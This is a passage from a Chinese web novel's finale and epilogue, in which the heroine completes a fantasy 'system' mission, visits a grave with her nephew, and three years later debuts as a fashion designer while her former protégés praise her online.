池又青说：“怎么？舍不得我？” 她以为季燃要和以前一样，嘴硬着什么都不说，没想到这一次，小孩低声回：“嗯，舍不得。” “臭小子。”池又青踹他一脚，“考试的时候不会也给我想这事了吧？” 季燃痛呼一声：“我没有！” 池又青哼道：“你最好是。” “那你要走吗？”季燃有点执着地问。 池又青说：“那要看你最后考成什么样，要去哪个学校。” 季燃愣了下：“什么意思？” 池又青看着他，说：“我当然不可能一辈子都陪着你，我有我的人生，你也是。但我们还是可以经常见面，知道吗？要是到时候你的大学离我平常待的地方近，当然可以多见面。” “那你要去哪里？” “没想好。” 季燃：“……” 池又青接收到他哀怨的目光，老实说：“别这么看我，真没想好啊。你知不知道因为要来江城我中断了我的旅游计划？我还在想等你考完，我要先把之前打算要去的地方去完再说。” “要是途中遇到我觉得舒服的城市，我可能就会待下去。” 季燃总结：“等于你什么也没确定。” 池又青耸耸肩：“人生本来就不是可确定的。” 谁能想到她有一天会被系统绑定跑来江城看小孩呢？ 在这件事发生之前，池又青根本想不到。 “不过有件事确定的。”池又青对季燃说，“我们是家人，这件事不会改变。就算距离再远，季燃，我都是你的小姨。” 季燃埋着头，嗯了一声。 “什么时候有空，一起去看你妈妈吧。” 季燃夹菜的动作一顿，他低声说：“好。” 池又青算不上了解季瑾。 她妈妈当年是被季家抛弃的弃女，孩子生太多养不活，干脆就丢掉。得亏是姥姥来国内旅游，遇到妈妈，决定收养，她妈妈才摆脱了原本的命运。 季家中途也发家过，但很快就没落下来。 季瑾嫁给陆屹的时候，还算是带了不少嫁妆。后来因为季家出事，亲戚们都内斗得厉害，根本没有人在乎季瑾和她的孩子。 季瑾病逝后更是如此。 只是妈妈一直和季瑾的妈妈在长大后保有联系，便允诺，不论如何都会为季瑾的孩子兜底。 这件事，也是池又青之前从妈妈口中得知的。 也许正是因为有了这一份诺言，才有了原著里她妈去世后，分给季燃的那一份遗产。 现在，她妈妈的命运被改变了。 季燃的也是。 站在季瑾的公墓前，池又青瞧着小小的方格里那个照片中温柔笑着的女人。 池又青把鲜花放在小小的格子之中。 “你放心吧。”她说，“你的孩子已经长大了。” “虽然未来的路充满未知，但我想，他已经拥有面对的力量。” 池又青转头朝外看，不远处的门边，季燃 坐在台阶上。她知道他是怕自己发现他在哭，所以不敢在妈妈的照片面前待太久。 “下次见。”池又青朝着季瑾挥挥手，朝着季燃走去。 她从后悄悄拍了下季燃的背。 “哭完了？” 季燃忙扯着嗓子回：“谁哭了！我才没有！” 池又青指指他的袖口：“湿了。” 季燃反手就把袖口往掌心藏：“我就有点想她。” 池又青陪他坐下，看着满园的幽绿，说：“嗯，我知道。” “小姨。” “嗯？” “你说她后悔过吗？”季燃看着前方，公墓的旁边是处公园，有人在那放风筝。风筝飞得高高的，像随时都要断掉一样。 池又青问：“后悔什么？” 季燃说：“如果她不是和我爸结婚，就不会有后来的事。如果她不是生下我，就不会落下病根。” 池又青：“我不知道。” 季燃笑了下，扯过一旁的小草，在手里晃着：“小姨，这种时候不都该说不后悔吗？” “我这么说你信吗？” 季燃没说话了。 “你觉得她爱你吗？”池又青问。 季燃毫不犹豫地说：“爱。” “这就够了。”池又青说，“不要问后不后悔，记住她的爱，带着这份爱，往下走。无论如何，她都选择了爱你，季燃，这才是最重要的事。” “去和她聊聊吧。”她拍拍季燃的肩膀，“告诉她，你的高考成绩不错，等九月份开学，你就要读大学。也告诉她，你不久后就要发行属于自己的新歌，有很多人从艺术节那天开始就在期待。我想，她听到这些，会开心的。” 季燃沉默了会，站起身，往里走去。 池又青坐在台阶上看他一会，也起身往下走。 裴珩撑着伞，站在阳光下。 “聊完了？”裴珩问。 池又青点点头：“我是聊完了，他还没有。” 裴珩自然地牵起她的手，放进自己的衣兜里。 池又青想抽出来：“大夏天的，好热。” “咦？” 她惊讶地抬头：“你什么时候准备的？” 裴珩的衣兜里凉呼呼的，有一块小小的冷宝宝放在里面，贴着她的掌心，就像冰块一样解热。 “来接女朋友之前准备的。”裴珩说。 池又青哼唧一声，没把手抽走。 “暑假去哪玩？”裴珩问。 “不知道。”池又青说，“去哪都行，但我绝不带娃了。” 裴珩轻笑了一声：“那带男朋友吗？” 池又青轻快地说：“看你表现咯。” 两人一路聊着，季燃从背后追过来，飞快地挤进两个人中间。 “裴老师。”他盯着裴珩，严肃地说，“你现在还在观察期，请你注意言行举止。” 裴珩叹口气，说：“我真没想瞒你，是你小姨不让说。” 季燃转头就跟池又青告状：“小姨，你听见了吧？你听见了吧？这家伙居然不为你打掩护，他不行。” 池又青笑得花枝乱颤：“行了行了，我又不聋，当然听得见。” 她是没想到，她没管着季燃的早恋，这小子反而倒反天罡，来管她的事了。 「叮——」 「最终主线任务已完成！恭喜宿主完成校园文男主改造目标！」 「请查收你的神秘礼品！」 池又青点开一看。 那是一张重启人生的卡券。 任何时候，任何地点，都可以回到那个瞬间，重新开始。 052说：【宿主，这张卡可以永久保留，等你想要使用的那一天再用就行。】 池又青想了会，说：【如果我不用呢，能折现吗？】 052：【……喂！你知不知道这是超SSS级道具！成就点兑换不来的！】 池又青说：【我现在知道啊。】 052孺子可教地点点头。 池又青：【所以呢，可以折现吗？】 052咬牙切齿地说：【不能——！】 池又青大为可惜：【好吧。】 052不明白：【你就没有什么后悔的事吗？】 池又青想了想，说：【有啊，不过都是当下的时候后悔，等事情过了段时间再看，我又忽然觉得发生那件事还挺好的。比如，被你绑定。】 052呜呜哭起来。 池又青：【闭嘴，吵死了。】 052：【嘤。】 池又青：【那这个道具能转送吗？】 052讶异了下：【你要送给谁？】 池又青说：【死人可以送吗？】 052：【…………】 池又青：【我想送给季瑾。】 052沉默好一会，说：【我要上报主神问问。】 【好的！主神说心意她收到了！谢谢你！她现在过得很好……道具卡还是你……等等……卧槽……？！？！】052震惊到卡机，缓了半天才重新正常运转起来，【是我想的那样？！】 池又青也有点惊了：【应该吧……如果我没听错的话……】 她细思一番：【怪不得主神出手那么阔绰，天天给我报销。所以，当初你绑定我，真的是错绑了吗？】 052连连摇头：【别问我啊，我也不知道，我脑子也乱了。】 池又青失笑：【算了，不管如何，遇见你也还挺开心的。现在主线任务完成了，你是不是该走了？】 052吱了一声，有点不舍地说：【对，我要和你说再见了宿主。】 池又青说：【滚吧。】 过了会，她看着脑子里还存在的系统界面。 【052？你还没走？】 052高高兴兴地回：【我跟主神说了！她说让我留下来陪你！宿主！我们又可以一起做任务了！】 池又青：【…………】 TD！ TD！！ TD！！！ 还没等池又青发完火，052又垂头丧气地说：【宿主，主神说没任务了，只是把我留下来而已。那我能做什么啊？】 池又青翻着系统商场，瞧见一个道具，忽然，嘴角一扬。 【052，我这有个不错的安排，你可以了解一下。】 The end 第50章 第50章现在，到她开花的…… “又青姐，你快来看看，这个裙子尺寸有点不对。” 秀场后台，助理小梦忙不迭跑过来，对正在清点单品的女人说。 女人回头，眼眸明媚，有一种漂亮的韧劲定在其中。 这是三年后的池又青。 她冷静地说：“别慌，让模特过来，我看看。” 待人来看，池又青从头顶的帽子上取下别针，抽了一根绸带，将之缠绕在裙边，又用别针定住。指尖在一柜的佩饰上挑选，最终停在一只蓝色的蝴蝶上。 蝴蝶搭着绸带，随着模特的走动，带子晃荡，就好像马上快要飞起来了一样。 “姐，你是这个。”小梦朝着池又青竖起大拇指。 “对了，姐，你看热搜没？”小梦问。 池又青摇摇头：“怎么，有好玩的？” 小梦活泼地分享着：“有呀有呀，有个话题已经爆了。” 池又青好奇：“什么？” 小梦把手机拿过来，凑到池又青面前。 池又青低头瞄了眼。 #小姨# 她一时半会有点想不通：“这有什么好上热搜的？” 小梦赶忙点进去：“姐！你得看这个！” 热搜第一条热门微博里，是一个网友发布的视频剪辑。 【难道就只有我一个人想问，他们仨嘴里说的小姨都是一个人吗？[视频]】 短短不到一分钟的视频，已经有千万次播放。 池又青嘴角微抽，移开目光，偏偏小梦太过热情，特意把视频点开，想让她看。 视频里，季燃已经成熟许多，二十岁的年纪，站在舞台上，染了一头蓝色的头发。 他刚刚表演完，因而有点气喘吁吁。 握着话筒对着镜头讲话的时候，画了妆容的眼睛显得张扬无比，但从他嘴里说出的话却格外真 诚。 “我没想到这首歌能拿奖。”季燃对着镜头说，“写它的时候，我十七岁，正是少年时。我很感谢大家对这首歌的喜爱和认可，但我不得不说，如果没有一个人，我就不会写出这首歌。” 主持人夸张地尖叫了下：“是谁！” 季燃微有些哽咽，开口道：“谢谢我的小姨，这首歌，也是为她而写。” 视频画面一切，播放到不久前的电竞世界赛事决赛时刻。 速来有逆风王称号的white扛住压力，带着队友从泉水厮杀到敌人老家，直捣黄龙，最终凭借一手大招拿下三杀，奠定了中国队获胜的结局。 接受MVP采访的时候，这位新晋冠军显得意外兴奋。 “爸！妈！我赢了！” “小姨！我赢了！！” 他捧着奖杯狂亲一口，呐喊道：“啊啊！小姨！我爱你！没有你就没有我的今天！冠军属于你！！！” 画面再一转。 出现在屏幕里的人是近日来话题度最高的女大学生。 “程筱！”小梦激动地说，“我超级喜欢她！” 年纪轻轻就已经横扫nature，据说她最新研发的一种分子材料更是要拿下数理界的诺贝尔奖杯。 记者采访：“程小姐，很多人都想好奇你是怎么从小镇走到这一步的，请问你方便分享一下吗？” 程筱点点头，进过时间的淬炼，她的脸上再也没有那种胆怯和忧郁，有的只是一往无前的信心。 “我能走到今天，是因为我遇到了一个人。”程筱轻声说，“感谢我同学的小姨，没有她就没有我的今日，也不会有你们看到的这个程筱。” 视频到这就结束了。 但关于小姨的讨论却远远没有结束。 评论全都疯了。 【卧槽卧槽卧槽！我之前刷到这个片段的时候是说怎么听起来都有点耳熟，好像有人说过一样，我还在想这些得奖感言是不是都是批发的，搞半天……凑一块看……啊啊啊！不会是同一个人吧？！】 【服了服了，这得是哪路神仙才能搞出三个金苗苗啊！】 【不至于是同一个人吧，大家都有小姨啊，你有我有他也有，很正常嘛。】 【季燃的同学发了消息了！确认了！季燃和白盛飞还有程筱，都是一个学校出来的！！】 【……难道真就是同一个小姨？】 大家还在猜呢，一条转发直接引爆全网。 顶流季燃忽然上线，转发这条微博，并评价：辟谣了，不是他们的小姨，只是我自己的小姨。 电竞新神white马上紧随其后回复：别这样哥们，小姨也是看着我长大的啊！ 追星的和追竞的网友在这一刹那人都傻了。 服了。 次元壁真破了啊！！ white还艾特一个没什么人关注的账号 @white：@橙子不吃皮，姐们，说句话，反驳一下他。 【？？？？】 【这位又是？？？】 【我去，该不会是学神吧！！】 @橙子不吃皮回复：幼稚。 @橙子不吃皮回复：重要的是称呼吗？重要的是感情。 @橙子不吃皮回复：[图片] @橙子不吃皮回复：小姨上周给我做的裙子。 池又青刷到这条的时候，暗道不妙。 果不其然，下一秒，季燃的电话就打了过来。 “你给她做裙子？！”季燃不敢置信。 池又青忙给小梦一个眼神，自己走到一边，对着电话说：“多大的人了，你们几个加起来都快六十了，能不能成熟点。” 季燃有点委屈：“你都没给我做过裙子。” 池又青：“？” 池又青笑了：“我做你肯穿吗？” 季燃毫不犹豫地说：“我穿啊，演唱会就穿。” 男明星穿女装早就不是稀奇事，有品味有审美的，还能把女装穿出另外一种feel来。 池又青哼笑一声：“行，给你做。” “到哪了你们？” 电话那头，白盛飞闹哄哄的声音传过来：“小姨！我们已经在机场碰头啦！马上就过来！” “刚接到袁胖呢。”白盛飞说，“他托运行李太多，等了半天。” 袁源现在讲话流畅多了，讲：“特产！都是特产！带给你们的！” 池又青快被吵死。 “行吧，那你们早点过来。”她说，“既然你们都碰头了，有事就当面说，别老在那个网上吵来吵去的，知道没？” 小姨一声令下，哪有人敢不从？ 白盛飞一贯最为嘴甜：“知道啦小姨，等会见。” 陆季燃把手机抢过来：“那我挂了？” 池又青点点头：“注意安全。” 陆季燃嗯了一声：“拜拜。” 挂了电话，池又青走回去。 小梦好奇：“姐，谁的电话啊？” 池又青扬眉，说：“你待会就知道了。” “五二呢？”她问。 小梦说：“可能躲起来了吧，现在后台人多。” 池又青冲着场子喊了一声：“五二？” 没动静。 池又青冷笑一声：“我数到三。” “三——” 一只黑猫飞快地蹿出来，因为跑得太着急，脚底打滑，直接摔倒在池又青的面前。 小梦心疼地抱起来：“宝宝，你慌什么。” 池又青冷眼看着，伸手戳了戳：“别赖在人怀里，出来，准备上班。” 五二喵呜一声。 池又青不为所动：“你还欠我一万三千的成就点。” 五二立刻弹起来，乖乖地坐在独属于它的小桌子上，接受着打扮。 后台紧锣密鼓的准备着，网上也热火朝天地讨论着。 【二十分钟过去了，朕要的小姨的资料呢！】 【这届网友不行啊！】 【来了来了！新鲜出炉的瓜贴！！[分享链接]】 链接里，楼主找到自己多年前使用过的**号，翻出江城九中校园墙的账号，在上万条说说里凭着超凡的毅力翻出了和季燃有关的消息。 紧接着，锁定了小姨出现的时间段。 又扒到白盛飞的小号，几年前曾经分享过一个游轮照片。 【卧槽……G家继承人！？】 【我的妈，我最爱穿的衣服品牌居然她设计的！！】 【G家吗？姐妹富婆啊。】 【不是！是山海商店！！我看这个楼主提了下white的小号的小号，就跑去看，发现他提到过，小姨和妈妈一起搞了个品牌。众所周知，白妈现在是山海商店的主要负责人……也就是说……小姨是创始人！！！】 【受不鸟了，这个女人怎么把我的衣柜从平价到高奢全都包圆了？！】 【爹的，季燃你小子命真好，哪来这么牛叉的小姨？】 【呜呜呜！往哪个放心拜能有这样的小姨！！】 【还真是季燃的亲小姨，我看他好像把自己那首歌的版权全都写在小姨名下的。】 【不只，你再八一八，你会发现，他整个人都是签在小姨买下的娱乐公司里的：）】 【季燃这么做无可厚非吧，毕竟是亲小姨。white一个路人，凑什么热闹啊？一个队伍一起赢的奖杯，他凭什么要拿去刻小姨的名字？】 【如果你知道小姨是他们DLS俱乐部的老板你也会和我一样觉得赞同的。】 【……我服！】 【没人发现程筱搞出成果的那个研究室，好像也是小姨出资建的吗？捐给学校了直接，几千万打底吧得。】 【别说了，小姨介意多个侄女吗？我可以。】 【富婆姐姐，捞捞，求捞捞。】 【全网都想认她当小姨，我不一样，我想当姨夫：）】 这条臭不要脸的评论被骂了上百条。 成功将这个话题拐到另外一个方向。 季燃在车上刷到这条消息的时候脸都黑了：“什么东西，也想当我姨夫？” 白盛飞感觉捂住他的嘴：“哥，你 现在可是顶流啊，注意发言。” “不过这人也真是的，也不撒泡尿照照！看我不喷死他！”白盛飞说完就想开自己的账号回复。 季燃：“？” 季燃：“你就不注意发言了？” 白盛飞理直气壮地说：“不啊，我是竞人，哪有竞人不嘴臭的，你放心吧，喷了他也没人骂我，他的背后空无一人！” 季燃：“？” 好羡慕这个骂人自由。 他现在转行还来得及吗？ 程筱目睹完全程，点评：“你们只会这一招吗？” 白盛飞有点不服气：“那你说说，怎么弄这人。” 程筱说：“发给裴老师看看。” 此话一出，全车静默。 片刻后，季燃，白盛飞和袁源都齐齐竖起大拇指。 祸水东引。 程小姐，高还是你高。 收到季燃的消息的时候，裴珩正在会场后台。池又青好不容易找到一点休息的时间，低头往裴珩端着的水杯上喝了口。 “看什么呢？”她瞧见裴珩的表情不太好看。 裴珩熄灭屏幕，摇了摇头，只说：“没什么，不过是无聊的事。” “无聊的事能让你皱眉头？”池又青才不信呢。她凑到裴珩的面前，“说说看。” 裴珩很难对她提出的要求说不，轻声说：“季燃发来的消息，说网上有人想当他姨夫。” 池又青愣了下，失笑起来：“就为这件事？” 裴珩蹙眉：“是大事。” 池又青嗯嗯点头：“大事大事。” 裴珩伸手搂住她的腰：“我都还没上位，怎么就有人排队了？” 池又青好以整暇地看着他：“裴先生，那这就是你要自己解决的问题了。” “又青姐！”小梦不好意思凑近，站得老远喊。 池又青凑过去亲了口裴珩，给他下任务：“在这把五二盯着，别让它乱跑。” 裴珩跟身上戴着巨额珠宝的黑猫对上眼。 “你说，她的意思是不是，我想怎么解决都可以？” 052哪敢说话啊。 它现在可是一只猫啊！ 至少正在假装一只猫。 自从池又青用成就点给它兑换现实身体后，它就成为了池又青的御用宠物。哪里需要哪里搬。有的时候要变成猫，有的时候要变成蛇。主打一个秀场或者广告拍照需要什么就变什么。 052曾提出控诉，但很快就被池又青买来的罐头收服。 呜呜。 果然还得是真罐罐吃起来好吃。 电子罐头就是垃圾！绝对的垃圾！ 今天，052也在为了自己的罐罐努力扮演好一只高傲冷漠的猫咪。 它悄悄瞄了眼裴珩，余光看见他正在打开微博。 猫脑袋凑得更近，还想再看两眼。 裴珩伸手就把它的脑袋推开，左手快速地在键盘上打字。 “卧槽——！”白盛飞刚一刷新微博，就接受到来自裴珩的暴击。 季燃看了眼手表，估着时间，离约好的点还有一会。他忍耐着心里的焦躁，转头问白盛飞：“鬼叫什么？” 白盛飞把手机凑到他的面前：“你看，你看啊。” 那条被骂了数条的网友姨夫评论下，多出一条消息。 一贯不在网上发言的裴家掌权人竟难得冒泡，回复：先排队吧，我还等着。 网友一开始还以为这又是个不识好歹的普信男。 【服了你们男人，能不能照照镜子？】 【那我也排队吧，小姨，虽然我性别女，但我也爱好女啊。保证温柔体贴情绪价值到位不抽烟不喝酒不嫖不赌没不良爱好。】 【排队＋1】 【等等等……我怎么觉得这个层主的名字有点眼熟呢？】 【裴珩，是我想的那个裴珩吗？】 【不会吧，同名同姓吧？我看他微博都没什么人关注。】 白盛飞偷偷吐槽：“不知道裴老师刷到这条消息后心情是什么样的。” 他痛恨地说：“早知道就当场吃瓜了！袁胖！都怪你！在机场赖那么久！” 袁源现在可是个练得发膘的肌肉男，一拳打上白盛飞的肩膀：“明明是有些人非要给粉丝签名才耽误时间。” 白盛飞嗷呜一声痛叫：“都叫你别练了！别练了！痛痛痛！” 白盛飞下滑屏幕，忽然惊讶地发现，刚刚的舆论一下就扭转了风向，重新翻回去看，嘴角微抽。 裴家旗下所有公司居然都冒泡出来，挨着转发裴珩的微博，并表示：【给老板递排队专用小板凳来啦。】 网友：【？？？？】 不是，兄弟，你来真的？！ 【散了散了，想当姨夫的可以散了，真黄金单身汉出来了。】 裴珩回复：不是单身。 【笑死我，他超在意的……】 【不是单身，但在排队，也就是说……】 【啊啊啊能嗑一口吗我就嗑一口！！】 白盛飞啧啧两声：“以前怎么看不出来裴老师这么骚。” 季燃哼了一声，没说话。 程筱往窗外看：“到了，下车吧。” 极具设计感的建筑物外挂着精心装潢过的宣传物。 G家最新首席设计师Freya的亮相大秀。 池又青走上T台，目光一扫。 妈妈和姥姥都坐在台下，目光殷切，充满自豪。季燃那群崽子也坐在一旁，白盛飞想要张嘴尖叫，被季燃一把捂住。裴珩拿着相机，样子倒是像她的粉丝了。 她瞧着台下那一张张陌生的面孔。 不管他们今天是为何未来，在看完这场大秀后，她都要让他们记住她的名字。 因为现在，到她开花的时间了。